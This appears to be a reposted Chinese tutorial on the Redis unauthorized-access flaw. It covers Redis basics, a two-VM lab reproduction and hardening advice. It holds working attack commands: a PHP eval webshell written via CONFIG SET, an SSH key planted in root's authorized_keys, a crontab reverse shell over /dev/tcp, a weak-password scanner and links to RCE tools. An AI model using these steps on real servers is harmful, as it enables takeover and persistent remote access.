Redis未授權漏洞


Redis未授權漏洞

引言

在Web應用發展的初期,那時關系型數據庫受到了較為廣泛的關注和應用,原因是因為那時候Web站點基本上訪問和並發不高、交互也較少。而在后來,隨着訪問量的提升,使用關系型數據庫的Web站點多多少少都開始在性能上出現了一些瓶頸,而瓶頸的源頭一般是在磁盤的I/O上。而隨着互聯網技術的進一步發展,各種類型的應用層出不窮,這導致在當今雲計算、大數據盛行的時代,對性能有了更多的需求,主要體現在以下四個方面:

  1. 低延遲的讀寫速度:應用快速地反應能極大地提升用戶的滿意度
  2. 支撐海量的數據和流量:對於搜索這樣大型應用而言,需要利用PB級別的數據和能應對百萬級的流量
  3. 大規模集群的管理:系統管理員希望分布式應用能更簡單的部署和管理
  4. 龐大運營成本的考量:IT部門希望在硬件成本、軟件成本和人力成本能夠有大幅度地降低

為了克服這一問題,NoSQL應運而生,它同時具備了高性能、可擴展性強、高可用等優點,受到廣泛開發人員和倉庫管理人員的青睞。

Redis是什么

Redis是現在最受歡迎的NoSQL數據庫之一,Redis是一個使用ANSI C編寫的開源、包含多種數據結構、支持網絡、基於內存、可選持久性的鍵值對存儲數據庫,其具備如下特性:

  • 基於內存運行,性能高效
  • 支持分布式,理論上可以無限擴展
  • key-value存儲系統
  • 開源的使用ANSI C語言編寫、遵守BSD協議、支持網絡、可基於內存亦可持久化的日志型、Key-Value數據庫,並提供多種語言的API

相比於其他數據庫類型,Redis具備的特點是:

  • C/S通訊模型
  • 單進程單線程模型
  • 豐富的數據類型
  • 操作具有原子性
  • 持久化
  • 高並發讀寫
  • 支持lua腳本

哪些大廠在使用Redis?

  • github
  • twitter
  • 微博
  • Stack Overflow
  • 阿里巴巴
  • 百度
  • 美團
  • 搜狐

Redis的應用場景有哪些?

Redis 的應用場景包括:緩存系統(“熱點”數據:高頻讀、低頻寫)、計數器、消息隊列系統、排行榜、社交網絡和實時系統。

img

Redis的數據類型及主要特性

Redis提供的數據類型主要分為5種自有類型和一種自定義類型,這5種自有類型包括:String類型、哈希類型、列表類型、集合類型和順序集合類型。

img

String類型:

它是一個二進制安全的字符串,意味着它不僅能夠存儲字符串、還能存儲圖片、視頻等多種類型, 最大長度支持512M。

對每種數據類型,Redis都提供了豐富的操作命令,如:

  • GET/MGET
  • SET/SETEX/MSET/MSETNX
  • INCR/DECR
  • GETSET
  • DEL

哈希類型:

該類型是由field和關聯的value組成的map。其中,field和value都是字符串類型的。

Hash的操作命令如下:

  • HGET/HMGET/HGETALL
  • HSET/HMSET/HSETNX
  • HEXISTS/HLEN
  • HKEYS/HDEL
  • HVALS

列表類型:

該類型是一個插入順序排序的字符串元素集合, 基於雙鏈表實現。

List的操作命令如下:

  • LPUSH/LPUSHX/LPOP/RPUSH/RPUSHX/RPOP/LINSERT/LSET
  • LINDEX/LRANGE
  • LLEN/LTRIM

集合類型:

Set類型是一種無順序集合, 它和List類型最大的區別是:集合中的元素沒有順序, 且元素是唯一的。

Set類型的底層是通過哈希表實現的,其操作命令為:

  • SADD/SPOP/SMOVE/SCARD
  • SINTER/SDIFF/SDIFFSTORE/SUNION

Set類型主要應用於:在某些場景,如社交場景中,通過交集、並集和差集運算,通過Set類型可以非常方便地查找共同好友、共同關注和共同偏好等社交關系。

順序集合類型:

ZSet是一種有序集合類型,每個元素都會關聯一個double類型的分數權值,通過這個權值來為集合中的成員進行從小到大的排序。與Set類型一樣,其底層也是通過哈希表實現的。

ZSet命令:

  • ZADD/ZPOP/ZMOVE/ZCARD/ZCOUNT
  • ZINTER/ZDIFF/ZDIFFSTORE/ZUNION

Redis的數據結構

Redis的數據結構如下圖所示:

img

redis未授權訪問漏洞介紹以及危害

1、什么是redis未授權訪問漏洞

Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。

簡單說,漏洞的產生條件有以下兩點:

  • redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網;
  • 沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務。

2.漏洞的危害:

  • 攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據
  • 攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件
  • 最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器

3.漏洞影響:

img

根據 ZoomEye 的探測,全球無驗證可直接利用Redis 分布情況如下:

1

全球無驗證可直接利用Redis TOP 10國家與地區:

2

二、漏洞復現

下載並安裝測試用的Redis,本次采用的是Ubuntu鏡像:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

(如果下載不下來的話:http://distfiles.macports.org/redis/)

img

img

解壓安裝包:tar xzf redis-2.8.17.tar.gz進入redis目錄:cd redis-2.8.17安裝:make

img

img

make結束后,進入src目錄:cd src,
將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啟動redis-server和redis-cli就不用每次都進入安裝目錄了)

img

返回目錄redis-2.8.17,將redis.conf拷貝到/etc/目錄下:

img

使用/etc/目錄下的reids.conf文件中的配置啟動redis服務:

img

服務啟動成功,我們克隆這台虛擬機

一台作為攻擊機,一台作為靶機

攻擊機IP:192.168.0.105

img

靶機IP:192.168.0.104

img

啟動redis服務進程后,就可以使用測試攻擊機程序redis-cli和靶機的redis服務交互了。 比如:

img

未授權訪問漏洞測試

使用redis客戶端直接無賬號成功登錄redis:

img

從登錄的結果可以看出該redis服務對公網開放,且未啟用認證。

利用redis寫webshell

利用前提:

1.靶機redis鏈接未授權,在攻擊機上能用redis-cli連上,如上圖,並未登陸驗證
2.開了web服務器,並且知道路徑(如利用phpinfo,或者錯誤爆路經),還需要具有文件讀寫增刪改查權限
(我們可以將dir設置為一個目錄a,而dbfilename為文件名b,再執行save或bgsave,則我們就可以寫入一個路徑為a/b的任意文件。)

這里由於本地搭建,我們已經知道目錄,我們把shell寫入/home/bmjoker/目錄下:

img

注:

第三步寫入webshell的時候,可以使用:

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表換行的意思,用redis寫入的文件會自帶一些版本信息,如果不換行可能會導致無法執行。

shell寫入完成,我們在靶機上來證明:

img

成功寫入shell。

當數據庫過大時,redis寫shell的小技巧:

<?php 
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>');
exit();
?>

利用"公私鑰"認證獲取root權限

當redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標服務器。

靶機中開啟redis服務:redis-server /etc/redis.conf

在靶機中執行 mkdir /root/.ssh 命令,創建ssh公鑰存放目錄(靶機是作為ssh服務器使用的)

在攻擊機中生成ssh公鑰和私鑰,密碼設置為空:

img

進入.ssh目錄:cd .ssh/,將生成的公鑰保存到1.txt:

img

鏈接靶機上的redis服務,

將保存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip命令連接靶機,將文件寫入):

img

遠程登錄靶機的redis服務:redis-cli -h 192.168.0.104

並使用 CONFIG GET dir 命令得到redis備份的路徑:

img

更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh):

img

設置上傳公鑰的備份文件名字為authorized_keys:

img

檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,

至此成功寫入ssh公鑰到靶機:

img

在攻擊機上使用ssh免密登錄靶機:ssh -i id_rsa root@192.168.0.104

img

利用私鑰成功登錄redis服務器!!!

利用crontab反彈shell

權限足夠的情況下,利用redis寫入文件到計划任務目錄下執行。

端口監聽:

在攻擊者服務器上監聽一個端口(未被占用的任意端口):

nc -lvnp 4444

img

攻擊詳情:

連接redis,寫入反彈shell

redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"

img

config set dir /var/spool/cron
config set dbfilename root
save

img

過一分鍾左右就可以收到shell

Pyhton腳本自動化測試

可用來測試是否存在未授權或弱口令的情況:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授權訪問"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密碼:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

解決方案

1、比較安全的辦法是采用綁定IP的方式來進行控制。

請在redis.conf文件找到如下配置

# If you want you can bind a single interface, if the bind option is not``# specified all the interfaces will listen for incoming connections.``#``# bind 127.0.0.1

把 #bind 127.0.0.1前面的注釋#號去掉,然后把127.0.0.1改成你允許訪問你的redis服務器的ip地址,表示只允許該ip進行訪問,這種情況下,我們在啟動redis服務器的時候不能再用:redis-server,改為:redis-server path/redis.conf 即在啟動的時候指定需要加載的配置文件,其中path/是你上面修改的redis配置文件所在目錄,這個方法有一點不太好,我難免有多台機器訪問一個redis服務。

2、設置密碼,以提供遠程登陸

打開redis.conf配置文件,找到requirepass,然后修改如下:

requirepass yourpassword``yourpassword就是redis驗證密碼,設置密碼以后發現可以登陸,但是無法執行命令了。`` ` `命令如下:``redis-cli -h yourIp -p yourPort``//啟動redis客戶端,並連接服務器``keys * ``//輸出服務器中的所有key``報錯如下``(error) ERR operation not permitted`` ` `這時候你可以用授權命令進行授權,就不報錯了`` ` `命令如下:``auth youpassword

Redis配置錯誤導致的遠程代碼漏洞溯源

在刷墨者學院的題時,發現了這個不錯的題,通過這個題了解Redis在低權限下的滲透思路:

給出了IP:219.153.49.228 ,同時也給出了倆個端口一個是web也就是http端口 419387,一個是redis數據庫端口 48055

嘗試用kali鏈接redis端口:

redis-cli -h 219.153.49.228 -p 48055

連接成功,本想用上文的方法,生成ssh密鑰把內容寫進redis數據庫,然后把redis數據庫的目錄指定到/etc/.ssh/,這樣就可以通過ssh直接連接服務器,但是這里權限不夠,不能指定到/etc/.ssh/目錄。

img

由於服務器是ubuntu的,apache容器,嘗試指定一下默認的路徑/var/www/html/來寫入shell:

img

一波寫入shell的操作,然后在web頁面嘗試訪問我們寫入shell的joker.php文件:

img

成功寫入,嘗試用菜刀鏈接,獲取flag:

img

出現這樣的問題還是權限控制的不足

再網上收集兩個比較方便的getshell python腳本

1.https://github.com/n0b0dyCN/redis-rogue-server

漏洞利用:

img

2.https://github.com/Ridter/redis-rce

漏洞利用:

img

反彈到其他服務器:

img


參考自https://www.cnblogs.com/bmjoker/p/9548962.html

參考自https://www.freebuf.com/vuls/162035.html

參考自https://www.cnblogs.com/powertoolsteam/p/redis.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM